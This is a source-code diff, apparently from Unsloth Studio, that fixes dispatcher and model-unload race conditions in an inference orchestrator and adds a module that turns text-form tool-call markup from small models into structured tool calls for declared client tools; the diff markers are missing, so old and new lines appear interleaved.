# Dispatcher — per-request mailbox routing for compare mode
# ------------------------------------------------------------------
def _start_dispatcher(self) -> None:
def _start_dispatcher(self) -> bool:
"""Start the dispatcher thread if not already running.
The dispatcher reads the shared resp_queue and routes responses to
per-request mailbox queues, letting multiple adapter-controlled
(compare) requests be in-flight without holding _gen_lock.
"""
if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
return
self._dispatcher_stop.clear()
self._dispatcher_thread = threading.Thread(
target = self._dispatcher_loop,
daemon = True,
name = "inference-dispatcher",
)
self._dispatcher_thread.start()
logger.debug("Dispatcher thread started")
The whole check-then-spawn runs under _dispatcher_lifecycle_lock so
concurrent compare requests (which bypass _gen_lock) can't both observe
no live dispatcher and each spawn one. Returns True only for the caller
that actually started a new thread; False if one was already alive.
"""
with self._dispatcher_lifecycle_lock:
# Refuse to start while an unload is in progress. unload_model sets
# _unload_pending under this same lock before it stops the idle
# dispatcher, so a start queued behind that stop observes the unload
# here and bails. Without this a fresh dispatcher would be spawned
# after the stop, become the resp_queue reader, and consume the
# worker's "unloaded" reply (unroutable, so dropped) before
# unload_model's _wait_response sees it -- hanging the unload 300s.
if self._unload_pending:
return False
if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
return False
self._dispatcher_stop.clear()
self._dispatcher_thread = threading.Thread(
target = self._dispatcher_loop,
daemon = True,
name = "inference-dispatcher",
)
self._dispatcher_thread.start()
logger.debug("Dispatcher thread started")
return True
def _stop_dispatcher(self) -> None:
"""Signal the dispatcher to stop and wait for it."""
if self._dispatcher_thread is None:
return
self._dispatcher_stop.set()
self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
self._dispatcher_thread = None
logger.debug("Dispatcher thread stopped")
"""Signal the dispatcher to stop and wait for it.
Runs under _dispatcher_lifecycle_lock (paired with _start_dispatcher) so
a stop can't interleave with a concurrent start. Callers must NOT hold
_mailbox_lock here: this joins the dispatcher, and the dispatcher loop
takes _mailbox_lock, so holding it would deadlock the join.
"""
with self._dispatcher_lifecycle_lock:
if self._dispatcher_thread is None:
return
self._dispatcher_stop.set()
self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
self._dispatcher_thread = None
logger.debug("Dispatcher thread stopped")
def _dispatcher_loop(self) -> None:
"""Background loop: read resp_queue → route to mailboxes by request_id."""
@ -534,29 +586,34 @@ class InferenceOrchestrator:
except (EOFError, OSError, ValueError):
break
rid = resp.get("request_id")
rtype = resp.get("type", "")
# Sole consumer of the response queue; if it died every in-flight
# stream would hang, so never let routing kill the dispatcher.
try:
rid = resp.get("request_id")
rtype = resp.get("type", "")
# Status messages — log and skip
if rtype == "status":
logger.info("Subprocess status: %s", resp.get("message", ""))
continue
# Route to mailbox if a matching request_id exists
if rid:
with self._mailbox_lock:
mbox = self._mailboxes.get(rid)
if mbox is not None:
mbox.put(resp)
# Status messages: log and skip
if rtype == "status":
logger.info("Subprocess status: %s", resp.get("message", ""))
continue
# No matching mailbox (a _gen_lock reader or orphaned). Can't
# un-get from mp.Queue, so just log. (status was handled above.)
logger.debug(
"Dispatcher: no mailbox for request_id=%s type=%s, dropping",
rid,
rtype,
)
# Route to mailbox if a matching request_id exists
if rid:
with self._mailbox_lock:
mbox = self._mailboxes.get(rid)
if mbox is not None:
mbox.put(resp)
continue
# No matching mailbox; can't un-get from mp.Queue, so just log.
logger.debug(
"Dispatcher: no mailbox for request_id=%s type=%s, dropping",
rid,
rtype,
)
except Exception:
logger.exception("Inference dispatcher: failed to route a response; continuing")
continue
def _generate_dispatched(
self,
@ -576,6 +633,7 @@ class InferenceOrchestrator:
reasoning_effort: Optional[str] = None,
preserve_thinking: Optional[bool] = None,
stats_holder: Optional[dict] = None,
presence_penalty: float = 0.0,
) -> Generator[str, None, None]:
"""Dispatched generation — sends command without holding _gen_lock.
@ -590,9 +648,26 @@ class InferenceOrchestrator:
if not self.active_model_name:
yield "Error: No active model"
return
# Latch the target model so the recheck below can detect a switch that completed
# between _start_dispatcher and mailbox registration (mirrors the locked path's
# expected_model check).
expected_model = self.active_model_name
# Ensure dispatcher is running
self._start_dispatcher()
# Switch in flight (unload waiting on _gen_lock). This path bypasses the lock,
# so without this early-out a compare request would enqueue a generate on the
# outgoing model and delay the switch.
if self._unload_pending:
yield "Error: model is being unloaded"
return
# Ensure the dispatcher runs. _start_dispatcher serializes concurrent starters under
# _dispatcher_lifecycle_lock and returns True only for the caller that actually spawned
# the thread, so at most one dispatcher ever exists even when two compare requests race
# here. Derive dispatcher_preexisting from that atomic result (not a separate unlocked
# is_alive() read): if THIS call started the dispatcher and then bails on a racing
# unload, it must stop it again (see the unloading bail below).
started = self._start_dispatcher()
dispatcher_preexisting = not started
request_id = str(uuid.uuid4())
@ -612,6 +687,7 @@ class InferenceOrchestrator:
min_p = min_p,
max_new_tokens = max_new_tokens,
repetition_penalty = repetition_penalty,
presence_penalty = presence_penalty,
use_adapter = use_adapter,
tools = tools,
enable_thinking = enable_thinking,
@ -619,10 +695,42 @@ class InferenceOrchestrator:
preserve_thinking = preserve_thinking,
)
# Create mailbox BEFORE sending command
# Create the mailbox BEFORE sending, rechecking _unload_pending under
# _mailbox_lock: an unload sets _unload_pending before _wait_dispatcher_idle
# reads _mailboxes under the same lock, so either the idle check sees this
# mailbox (and tears the dispatcher down) or we see the unload and bail.
# Registering after would orphan the mailbox and hang the compare stream forever.
mailbox: queue.Queue = queue.Queue()
with self._mailbox_lock:
self._mailboxes[request_id] = mailbox
# _unload_pending alone is not enough: an unload that ran fully since
# _start_dispatcher clears it in its finally and stops the dispatcher, so it
# reads False here though the dispatcher is gone and the model swapped. Also
# bail when the active model changed or the dispatcher died: a mailbox with no
# dispatcher to route gen_done/gen_error hangs the compare stream.
dispatcher_alive = (
self._dispatcher_thread is not None and self._dispatcher_thread.is_alive()
)
unloading = (
self._unload_pending
or self.active_model_name != expected_model
or not dispatcher_alive
)
if not unloading:
self._mailboxes[request_id] = mailbox
# When bailing without a mailbox, note whether any OTHER compare request still
# routes through the dispatcher; if none and this call started it, stop it below.
orphaned_dispatcher = unloading and not dispatcher_preexisting and not self._mailboxes
if unloading:
# A racing unload can pass its _wait_dispatcher_idle() while the dispatcher was
# stopped, then set _unload_pending. The one we just started would otherwise
# linger with no mailboxes, race unload_model's _wait_response for the "unloaded"
# reply off resp_queue, and drop it as unroutable -- hanging the unload 300s. Stop
# it here so the unload stays the sole resp_queue reader. Outside _mailbox_lock:
# _stop_dispatcher joins the dispatcher, which itself takes that lock.
if orphaned_dispatcher:
self._stop_dispatcher()
yield "Error: model is being unloaded"
return
try:
self._send_cmd(cmd)
@ -671,14 +779,18 @@ class InferenceOrchestrator:
return
logger.warning("Timed out draining mailbox after cancel")
def _wait_dispatcher_idle(self) -> None:
def _wait_dispatcher_idle(self) -> bool:
"""Wait for all dispatched requests to complete, then stop dispatcher.
Called by _generate_inner before the _gen_lock path so the dispatcher
thread isn't competing for resp_queue reads.
Returns True if the dispatcher was stopped (all mailboxes drained, or no
dispatcher was running), and False if it was left running because compare
requests were still active after _DISPATCH_IDLE_TIMEOUT.
Called before the _gen_lock path so the dispatcher thread isn't competing
for resp_queue reads.
"""
if self._dispatcher_thread is None or not self._dispatcher_thread.is_alive():
return
return True
# Wait for all mailboxes to be emptied (dispatched requests complete)
deadline = time.monotonic() + _DISPATCH_IDLE_TIMEOUT
@ -699,8 +811,9 @@ class InferenceOrchestrator:
"leaving dispatcher running for compare requests",
len(self._mailboxes),
)
else:
self._stop_dispatcher()
return False
self._stop_dispatcher()
return True
# ------------------------------------------------------------------
# Public API — same interface as InferenceBackend
@ -767,6 +880,19 @@ class InferenceOrchestrator:
)
for attempt in range(2):
# Stop-loading (/unload -> cancel_load) aborts a load by discarding this
# model's loading marker. cancel_load only kills a live child; if the cancel
# lands before any child exists (GPU placement, or between retries) there is
# nothing to kill, and without this check the loop would spawn a worker and
# load the model after /unload reported it unloaded. Observe removal and stop.
if model_name not in self.loading_models:
logger.info(
"Load for '%s' was cancelled before spawn; not starting a worker",
model_name,
)
self.active_model_name = None
self.models.clear()
return False
logger.info(
"Spawning fresh inference subprocess for '%s' "
"(transformers %s.x, attempt %d/2%s)",
@ -778,6 +904,22 @@ class InferenceOrchestrator:
sub_config["disable_xet"] = disable_xet
self._spawn_subprocess(sub_config)
# A cancel can land after the pre-spawn recheck but while _spawn_subprocess
# is still creating the queues/process. cancel_load runs off the lifecycle
# gate, so its _shutdown_subprocess can see _proc still None and no-op,
# orphaning this fresh worker; the load would then wait for "loaded" and
# publish a model /unload reported unloaded, over a live subprocess nothing
# reaps. Recheck now the child exists and tear it down before publishing.
if model_name not in self.loading_models:
logger.info(
"Load for '%s' was cancelled during spawn; tearing the worker down",
model_name,
)
self._shutdown_subprocess(timeout = 5)
self.active_model_name = None
self.models.clear()
return False
try:
resp = self._wait_response("loaded")
except DownloadStallError:
@ -798,8 +940,31 @@ class InferenceOrchestrator:
)
if resp.get("success"):
# A cancel can land while we were parked in _wait_response above.
# cancel_load (off the lifecycle gate) discards this model's loading
# marker BEFORE its teardown, so a Stop-loading that fired after the
# worker queued "loaded" (which we can still consume during cancel_load's
# shutdown window) shows up here only as the marker's removal. Without
# this recheck we would publish active_model_name/models for a model
# /unload reported cancelled, over a subprocess cancel_load just killed;
# its post-teardown re-clear cannot undo a publish that lands after it
# returns. Observe the removal and abort; cancel_load owns teardown.
if model_name not in self.loading_models:
logger.info(
"Load for '%s' was cancelled while waiting for 'loaded'; "
"not publishing the cancelled model",
model_name,
)
self.active_model_name = None
self.models.clear()
return False
model_info = resp.get("model_info", {})
self.active_model_name = model_info.get("identifier", model_name)
# A load always spawns a fresh subprocess holding only this model, so
# mirror that. A lingering stale name would pass unload_model's "not in
# self.models" guard, and the worker's absent-name fallback would unload
# its *active* model, not the already-gone one.
self.models = {}
self.models[self.active_model_name] = {
"is_vision": model_info.get("is_vision", False),
"is_lora": model_info.get("is_lora", False),
@ -832,17 +997,65 @@ class InferenceOrchestrator:
self.models.clear()
raise
def unload_model(self, model_name: str) -> bool:
"""Unload a model from the subprocess."""
if model_name in self.loading_models:
logger.info(
"Cancelling in-flight load for model '%s' by terminating subprocess",
def cancel_load(self, model_name: str) -> bool:
"""Abort an in-flight load by terminating its subprocess.
Returns True if a load for ``model_name`` (matched case-insensitively) was
cancelled, False if nothing was loading under that name. This only tears the
loading subprocess down -- it sends no command to a worker -- so, unlike the
rest of ``unload_model``, it is safe to run WITHOUT the inference lifecycle
gate. ``/unload`` calls it off-gate so the "stop loading" button can interrupt
a safetensors load that holds the gate for its whole (multi-minute) duration;
a gated cancel could never preempt that load.
"""
target = model_name
if target not in self.loading_models:
target = next(
(m for m in self.loading_models if m.lower() == model_name.lower()),
model_name,
)
self._shutdown_subprocess(timeout = 0.5)
self.loading_models.discard(model_name)
self.active_model_name = None
self.models.clear()
if target not in self.loading_models:
return False
logger.info(
"Cancelling in-flight load for model '%s' by terminating subprocess",
target,
)
# Discard the loading marker (and clear local state) BEFORE the teardown, not
# after. cancel_load runs off the lifecycle gate, alongside a load_model that
# rechecks this marker before each spawn. But _shutdown_subprocess can block (~1s
# tearing a live child down and joining the dispatcher), so clearing only after
# leaves a window where load_model reads the marker still set, passes its pre-spawn
# recheck, and loads the model after /unload reported it cancelled. Clear first.
self.loading_models.discard(target)
self.active_model_name = None
self.models.clear()
self._shutdown_subprocess(timeout = 0.5)
# Clear the local mirrors again AFTER the teardown. A racing off-gate load_model
# may still be parked in _wait_response("loaded"): its worker already queued a
# "loaded" reply, so during the shutdown window above (the 0.5s settle before the
# response queue is drained and nulled) that thread can consume it and repopulate
# active_model_name/models, undoing the pre-teardown clear. _shutdown_subprocess
# nulls the queue but not the mirrors, so without this second clear /unload reports
# success while the backend still advertises a killed model. The nulled queue lets
# no further "loaded" through, so re-clearing here wipes any repopulation.
self.active_model_name = None
self.models.clear()
return True
def unload_model(self, model_name: str) -> bool:
"""Unload a model from the subprocess."""
# active_model_name can differ in case from the client's raw /unload name (the
# load path canonicalizes casing). Match case-insensitively and use the canonical
# spelling so the guard, unload command, and cleanup below hit the loaded model.
if (
self.active_model_name is not None
and model_name != self.active_model_name
and model_name.lower() == self.active_model_name.lower()
):
model_name = self.active_model_name
# In-flight load: tear its subprocess down (shared loading-cancel logic; no
# worker command sent).
if self.cancel_load(model_name):
return True
if not self._ensure_subprocess_alive():
@ -852,30 +1065,93 @@ class InferenceOrchestrator:
self.active_model_name = None
return True
try:
self._send_cmd(
{
"type": "unload",
"model_name": model_name,
}
)
resp = self._wait_response("unloaded")
# Update local state
# Nothing loaded under this name: don't unload a stale model. The worker falls
# back to unloading its *active* model when the name is absent, so a stale unload
# (lost a race to a concurrent load) would hit the wrong one.
if model_name != self.active_model_name and model_name not in self.models:
self.models.pop(model_name, None)
if self.active_model_name == model_name:
self.active_model_name = None
logger.info("Model '%s' unloaded from subprocess", model_name)
return True
except Exception as exc:
logger.error("Error unloading model '%s': %s", model_name, exc)
# Clear local state anyway
self.models.pop(model_name, None)
if self.active_model_name == model_name:
self.active_model_name = None
return False
# The subprocess runs commands sequentially, so a bare unload queues behind a
# running generate (a 2-3 min hang). Cancel first (via the mp.Event the worker
# polls each token), then take _gen_lock as sole resp_queue reader (like GGUF).
#
# Set _unload_pending under _dispatcher_lifecycle_lock so it is ordered ahead of
# the dispatcher stop that _wait_dispatcher_idle runs under the same lock: a
# compare request's _start_dispatcher queued behind that stop then observes the
# unload and refuses to spawn a fresh dispatcher that would eat the "unloaded"
# reply off resp_queue. This is a standalone acquisition (no _gen_lock held yet),
# so it keeps the _gen_lock -> _dispatcher_lifecycle_lock order and can't deadlock.
with self._dispatcher_lifecycle_lock:
self._unload_pending = True
# Cancelling only the running generation isn't enough: the worker clears
# cancel_event at each generate start, so a queued one would clear it and run the
# outgoing model to completion. drain_event, never cleared, makes any generate
# dequeued during the unload skip.
if self._drain_event is not None:
self._drain_event.set()
try:
self._cancel_generation()
acquired = self._gen_lock.acquire(timeout = _UNLOAD_GEN_LOCK_TIMEOUT)
if not acquired:
# Wedged worker: tear the subprocess down to free the GPU (next load respawns).
logger.warning(
"Unload: generation did not yield %.1fs after cancel; "
"shutting the inference subprocess down to free the model",
_UNLOAD_GEN_LOCK_TIMEOUT,
)
self._shutdown_subprocess(timeout = 5)
self.models.pop(model_name, None)
if self.active_model_name == model_name:
self.active_model_name = None
return True
try:
# Stop the compare-mode dispatcher so it can't consume the "unloaded" reply
# off resp_queue before we do. A dispatched generation bypasses _gen_lock, so
# a wedged one slips past the acquire above; if the dispatcher is still active
# it owns resp_queue and the queued unload hangs _wait_response behind the
# stuck generate. Mirror the wedged locked path: tear the subprocess down.
if not self._wait_dispatcher_idle():
logger.warning(
"Unload: compare-mode dispatcher still active after idle "
"wait; shutting the inference subprocess down to free the model"
)
self._shutdown_subprocess(timeout = 5)
self.models.pop(model_name, None)
if self.active_model_name == model_name:
self.active_model_name = None
return True
# Drop stale tokens so they can't be read as the unload reply.
self._drain_queue()
self._send_cmd(
{
"type": "unload",
"model_name": model_name,
}
)
self._wait_response("unloaded")
self.models.pop(model_name, None)
if self.active_model_name == model_name:
self.active_model_name = None
logger.info("Model '%s' unloaded from subprocess", model_name)
return True
except Exception as exc:
logger.error("Error unloading model '%s': %s", model_name, exc)
# Clear local state anyway
self.models.pop(model_name, None)
if self.active_model_name == model_name:
self.active_model_name = None
return False
finally:
self._gen_lock.release()
finally:
self._unload_pending = False
if self._drain_event is not None:
self._drain_event.clear()
def generate_chat_response(
self,
@ -894,6 +1170,7 @@ class InferenceOrchestrator:
reasoning_effort: Optional[str] = None,
preserve_thinking: Optional[bool] = None,
stats_holder: Optional[dict] = None,
presence_penalty: float = 0.0,
) -> Generator[str, None, None]:
"""Generate response, streaming tokens from subprocess.
@ -903,6 +1180,8 @@ class InferenceOrchestrator:
``stats_holder``: caller-owned dict; on gen_done its "stats" key gets
the worker's usage/timings. Request-scoped to avoid cross-stream reads.
``presence_penalty`` matches the GGUF sampling path (0 disables it).
"""
yield from self._generate_inner(
messages = messages,
@ -921,6 +1200,7 @@ class InferenceOrchestrator:
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
stats_holder = stats_holder,
presence_penalty = presence_penalty,
)
def generate_chat_completion_with_tools(
@ -940,6 +1220,7 @@ class InferenceOrchestrator:
preserve_thinking: Optional[bool] = None,
max_tool_iterations: int = 25,
auto_heal_tool_calls: bool = True,
nudge_tool_calls: Optional[bool] = None,
tool_call_timeout: int = 300,
session_id: Optional[str] = None,
rag_scope: Optional[dict] = None,
@ -947,6 +1228,7 @@ class InferenceOrchestrator:
bypass_permissions: bool = False,
use_adapter: Optional[Union[bool, str]] = None,
stats_holder: Optional[dict] = None,
presence_penalty: float = 0.0,
**_unused,
):
"""Run the safetensors agentic tool loop in the parent process,
@ -982,6 +1264,7 @@ class InferenceOrchestrator:
preserve_thinking = preserve_thinking,
# last turn wins, like the GGUF tool loop
stats_holder = stats_holder,
presence_penalty = presence_penalty,
)
if use_adapter is not None:
yield from self.generate_with_adapter_control(
@ -1002,6 +1285,7 @@ class InferenceOrchestrator:
execute_tool = execute_tool,
cancel_event = cancel_event,
auto_heal_tool_calls = auto_heal_tool_calls,
nudge_tool_calls = nudge_tool_calls,
max_tool_iterations = max_tool_iterations,
tool_call_timeout = tool_call_timeout,
session_id = session_id,
@ -1048,6 +1332,7 @@ class InferenceOrchestrator:
reasoning_effort: Optional[str] = None,
preserve_thinking: Optional[bool] = None,
stats_holder: Optional[dict] = None,
presence_penalty: float = 0.0,
) -> Generator[str, None, None]:
"""Inner generation logic — sends command to subprocess, yields tokens.
@ -1061,6 +1346,7 @@ class InferenceOrchestrator:
if not self.active_model_name:
yield "Error: No active model"
return
expected_model = self.active_model_name
# Drain any prior compare-mode dispatcher so we can read resp_queue.
self._wait_dispatcher_idle()
@ -1069,6 +1355,14 @@ class InferenceOrchestrator:
# consume and drop each other's token events. Hold _gen_lock across the
# cmd build + send + whole stream so we stay the sole resp_queue reader.
with self._gen_lock:
# Recheck under the lock: an unload we raced may have cleared/swapped the model.
# _unload_pending resets after the lock releases, so it can read False by now;
# the active-model check catches that handoff and a reload that swapped models,
# so we never generate on the wrong one.
if self._unload_pending or self.active_model_name != expected_model:
# Won the lock handoff during a switch; don't start on the outgoing model.
yield "Error: model is being unloaded"
return
request_id = str(uuid.uuid4())
image_b64 = self._pil_to_base64(image) if image is not None else None
cmd = self._build_generate_cmd(
@ -1082,6 +1376,7 @@ class InferenceOrchestrator:
min_p = min_p,
max_new_tokens = max_new_tokens,
repetition_penalty = repetition_penalty,
presence_penalty = presence_penalty,
use_adapter = use_adapter,
tools = tools,
enable_thinking = enable_thinking,
@ -1136,53 +1431,62 @@ class InferenceOrchestrator:
raise RuntimeError("Inference subprocess is not running")
if not self.active_model_name:
raise RuntimeError("No active model")
expected_model = self.active_model_name
request_id = str(uuid.uuid4())
# Serialize under _gen_lock (sole resp_queue reader) and refuse to start on the
# outgoing model once an unload is pending, like the text and audio-input paths.
# Without this a concurrent /audio/generate could run TTS on a model being switched.
with self._gen_lock:
# Recheck under the lock (see _generate_inner): a raced unload/switch may have
# cleared or swapped the model while we waited.
if self._unload_pending or self.active_model_name != expected_model:
raise RuntimeError("model is being unloaded")
cmd = {
"type": "generate_audio",
"request_id": request_id,
"text": text,
"temperature": temperature,
"top_p": top_p,
"top_k": top_k,
"min_p": min_p,
"max_new_tokens": max_new_tokens,
"repetition_penalty": repetition_penalty,
}
if use_adapter is not None:
cmd["use_adapter"] = use_adapter
request_id = str(uuid.uuid4())
self._send_cmd(cmd)
cmd = {
"type": "generate_audio",
"request_id": request_id,
"text": text,
"temperature": temperature,
"top_p": top_p,
"top_k": top_k,
"min_p": min_p,
"max_new_tokens": max_new_tokens,
"repetition_penalty": repetition_penalty,
}
if use_adapter is not None:
cmd["use_adapter"] = use_adapter
# Wait for audio_done or audio_error
deadline = time.monotonic() + 120.0
while time.monotonic() < deadline:
remaining = max(0.1, deadline - time.monotonic())
resp = self._read_resp(timeout = min(remaining, 1.0))
self._send_cmd(cmd)
if resp is None:
if not self._ensure_subprocess_alive():
raise RuntimeError(self._subprocess_crash_message("audio generation"))
continue
deadline = time.monotonic() + 120.0
while time.monotonic() < deadline:
remaining = max(0.1, deadline - time.monotonic())
resp = self._read_resp(timeout = min(remaining, 1.0))
rtype = resp.get("type", "")
if resp is None:
if not self._ensure_subprocess_alive():
raise RuntimeError(self._subprocess_crash_message("audio generation"))
continue
if rtype == "audio_done":
wav_bytes = base64.b64decode(resp["wav_base64"])
sample_rate = resp["sample_rate"]
return wav_bytes, sample_rate
rtype = resp.get("type", "")
if rtype == "audio_error":
raise RuntimeError(resp.get("error", "Audio generation failed"))
if rtype == "audio_done":
wav_bytes = base64.b64decode(resp["wav_base64"])
sample_rate = resp["sample_rate"]
return wav_bytes, sample_rate
if rtype == "error":
raise RuntimeError(resp.get("error", "Unknown error"))
if rtype == "audio_error":
raise RuntimeError(resp.get("error", "Audio generation failed"))
if rtype == "status":
continue
if rtype == "error":
raise RuntimeError(resp.get("error", "Unknown error"))
raise RuntimeError("Timeout waiting for audio generation (120s)")
if rtype == "status":
continue
raise RuntimeError("Timeout waiting for audio generation (120s)")
def generate_whisper_response(
self,
@ -1247,8 +1551,15 @@ class InferenceOrchestrator:
if not self.active_model_name:
yield "Error: No active model"
return
expected_model = self.active_model_name
with self._gen_lock:
# Recheck under the lock (see _generate_inner): a raced unload/switch may have
# cleared or swapped the model while we waited.
if self._unload_pending or self.active_model_name != expected_model:
# Won the lock handoff during a switch; don't start on the outgoing model.
yield "Error: model is being unloaded"
return
request_id = str(uuid.uuid4())
# numpy array -> list for mp.Queue serialization

557
studio/backend/core/inference/passthrough_healing.py Normal file
View file

@ -0,0 +1,557 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Tool-call healing for the client-tool passthrough.
With server-side tools disabled (``unsloth run --disable-tools``, every
``unsloth start`` coding agent), requests carrying the client's own ``tools``
bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small
GGUF models often emit their tool calls as TEXT (``<tool_call>{...}</tool_call>``,
Gemma ``<|tool_call>...``, ``<function=...>`` XML) instead of structured
``tool_calls`` -- on the passthrough that text reaches the agent as prose and
the turn dies. This module promotes such text back into structured calls on the
RESPONSE side only: the upstream request body is never touched, no extra
generation is issued, so llama-server slot/KV-cache reuse is byte-identical.
Healing only ever fires when the request declared client tools, and only
promotes calls whose function name exactly matches a declared tool. Promotion
removes EXACTLY the promoted calls' markup spans (the parser reports them):
undeclared calls, unparseable blocks, and suppressed alternate formats keep
every byte and relay as text, so healing can never silently delete model
output. Responses without a tool signal, requests without tools, and Studio's
own enable-tools loop are untouched. Per-request opt-out:
``auto_heal_tool_calls: false``. Process kill-switch:
``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``.
"""
import json
import os
from collections.abc import Mapping
from typing import Any, Optional
from core.inference.tool_loop_controller import coerce_tool_arguments
from core.tool_healing import parse_tool_calls_from_text
# Only the formats this healer's parser can promote -- narrower than the loops'
# broader TOOL_XML_SIGNALS. A loop-only marker (Llama <|python_tag|>, bare
# [ARGS]) would buffer a streamed call as prose without promoting it, so keep a
# healer-aligned list. Mistral's [TOOL_CALLS] IS promotable, so it stays in.
_HEAL_SIGNALS = (
"<tool_call>",
"<|tool_call>",
"<function=",
"[TOOL_CALLS]",
)
def _has_heal_signal(text: str) -> bool:
return any(s in text for s in _HEAL_SIGNALS)
# Read once at import (same convention as the other UNSLOTH_* switches).
_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1"
# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process
# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator).
_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1"
def nudge_enabled(request_flag: Optional[bool]) -> bool:
return _NUDGE_DEFAULT if request_flag is None else bool(request_flag)
_MAX_SIGNAL_LEN = max(len(s) for s in _HEAL_SIGNALS)
# A suspected-but-unclosed tool block larger than this is declared a false
# alarm and flushed, bounding memory on a model rambling XML-lookalike text.
_MAX_HOLD_CHARS = 64 * 1024
def heal_gate(
auto_heal: Optional[bool],
tools: Optional[list],
tool_choice: Any = None,
) -> Optional[set]:
"""Return the declared client-tool name set when healing applies, else None.
``tools`` is the OpenAI-shaped list forwarded to llama-server
(``[{"type": "function", "function": {"name": ...}}, ...]``). The name set
doubles as the promotion allowlist so healed calls can never invent a tool
the client did not declare.
``tool_choice`` (OpenAI shape) constrains the allowlist so healing never
contradicts the request: ``"none"`` forbids tool calls outright (text-form
markup stays text), and a forced ``{"type": "function", "function":
{"name": N}}`` narrows promotion to that one function. ``"auto"`` /
``"required"`` / absent keep the full declared set.
"""
if _HEALING_DISABLED or auto_heal is False:
return None
if tool_choice == "none":
return None
names = set()
for tool in tools or []:
if not isinstance(tool, dict):
continue
function = tool.get("function")
if isinstance(function, dict) and isinstance(function.get("name"), str):
names.add(function["name"])
if isinstance(tool_choice, dict):
function = tool_choice.get("function")
forced = function.get("name") if isinstance(function, dict) else None
if isinstance(forced, str):
names &= {forced}
return names or None
def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]:
schemas: dict[str, Any] = {}
for tool in tools or []:
if not isinstance(tool, dict):
continue
function = tool.get("function")
if not isinstance(function, dict):
continue
name = function.get("name")
if isinstance(name, str):
schemas[name] = function.get("parameters")
return schemas
def _string_arg_key_from_schema(schema: Any) -> Optional[str]:
if not isinstance(schema, dict):
return None
properties = schema.get("properties")
required = schema.get("required")
if not isinstance(properties, dict) or not isinstance(required, list):
return None
required_names = [name for name in required if isinstance(name, str)]
if len(required_names) != 1:
return None
key = required_names[0]
if key not in properties:
return None
prop_schema = properties.get(key)
if isinstance(prop_schema, dict):
prop_type = prop_schema.get("type")
if isinstance(prop_type, list):
if "string" not in prop_type:
return None
elif prop_type is not None and prop_type != "string":
return None
return key
def _coerce_promoted_arguments(
raw_args: Any, tool_name: str, tool_schemas: Optional[dict]
) -> Optional[dict]:
if isinstance(raw_args, Mapping):
return dict(raw_args)
if isinstance(raw_args, str):
try:
parsed = json.loads(raw_args)
if isinstance(parsed, Mapping):
return dict(parsed)
except (json.JSONDecodeError, ValueError):
pass
if tool_schemas is not None:
key = _string_arg_key_from_schema(tool_schemas.get(tool_name))
return {key: raw_args} if key else None
coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name)
return coerced.arguments
def _promote(
calls: list,
allowed_tools: set,
id_offset: int = 0,
tool_schemas: Optional[dict] = None,
) -> list:
"""Filter parsed calls to declared tools and normalize their arguments.
Bare string arguments on the client-tool passthrough use the declared
schema's single required string property. If the schema is ambiguous, the
call stays text instead of inventing a generic key.
"""
promoted = []
for call in calls:
function = call.get("function") if isinstance(call, dict) else None
name = function.get("name") if isinstance(function, dict) else None
if name not in allowed_tools:
continue
arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas)
if arguments is None:
continue
promoted.append(
{
"id": f"call_{id_offset + len(promoted)}",
"type": "function",
"function": {
"name": name,
"arguments": json.dumps(arguments, ensure_ascii = False),
},
}
)
return promoted
def _remove_spans(text: str, spans: list) -> str:
"""Text with the given non-overlapping, sorted (start, end) ranges removed."""
pieces = []
pos = 0
for start, end in spans:
pieces.append(text[pos:start])
pos = end
pieces.append(text[pos:])
return "".join(pieces)
def heal_openai_message_events(
msg: dict,
allowed_tools: set,
tools: Optional[list] = None,
) -> Optional[list]:
if not isinstance(msg, dict) or msg.get("tool_calls"):
return None
content = msg.get("content")
if not isinstance(content, str) or not _has_heal_signal(content):
return None
parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True)
tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
events: list = []
pos = 0
call_count = 0
for call, (start, end) in zip(parsed, spans):
promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas)
if promoted:
if content[pos:start]:
events.append(("text", content[pos:start]))
events.append(("tool_call", promoted[0]))
call_count += 1
else:
events.append(("text", content[pos:end]))
pos = end
if not call_count:
return None
if content[pos:]:
events.append(("text", content[pos:]))
return events
def heal_openai_message(
msg: dict,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""Promote text-form tool calls in a non-streaming OpenAI message. In place.
No-op (returns False) unless the message has NO structured ``tool_calls``
(grammar mode already worked when it does) and its content carries a tool
signal that parses into at least one declared call. Only the promoted
calls' markup spans are removed from the content; undeclared calls and
anything the parser did not consume stay in the text byte-intact.
"""
events = heal_openai_message_events(msg, allowed_tools, tools)
if not events:
return False
calls = [value for kind, value in events if kind == "tool_call"]
content = "".join(value for kind, value in events if kind == "text").strip()
msg["tool_calls"] = calls
# OpenAI requires content = null on a pure tool-call turn.
msg["content"] = content or None
return True
def _earliest_signal(buffer: str) -> int:
best = -1
for signal in _HEAL_SIGNALS:
index = buffer.find(signal)
if index >= 0 and (best < 0 or index < best):
best = index
return best
def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]:
spans = []
for open_tag, close_tag in (
("<tool_call>", "</tool_call>"),
("<|tool_call>", "<tool_call|>"),
("<function=", "</function>"),
):
start = buffer.find(open_tag)
if start < 0:
continue
end = buffer.find(close_tag, start)
if end >= 0:
spans.append((start, end + len(close_tag)))
return min(spans, key = lambda span: span[0]) if spans else None
def _partial_signal_suffix(buffer: str) -> int:
"""Length of the longest buffer suffix that is a proper prefix of a signal."""
for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1):
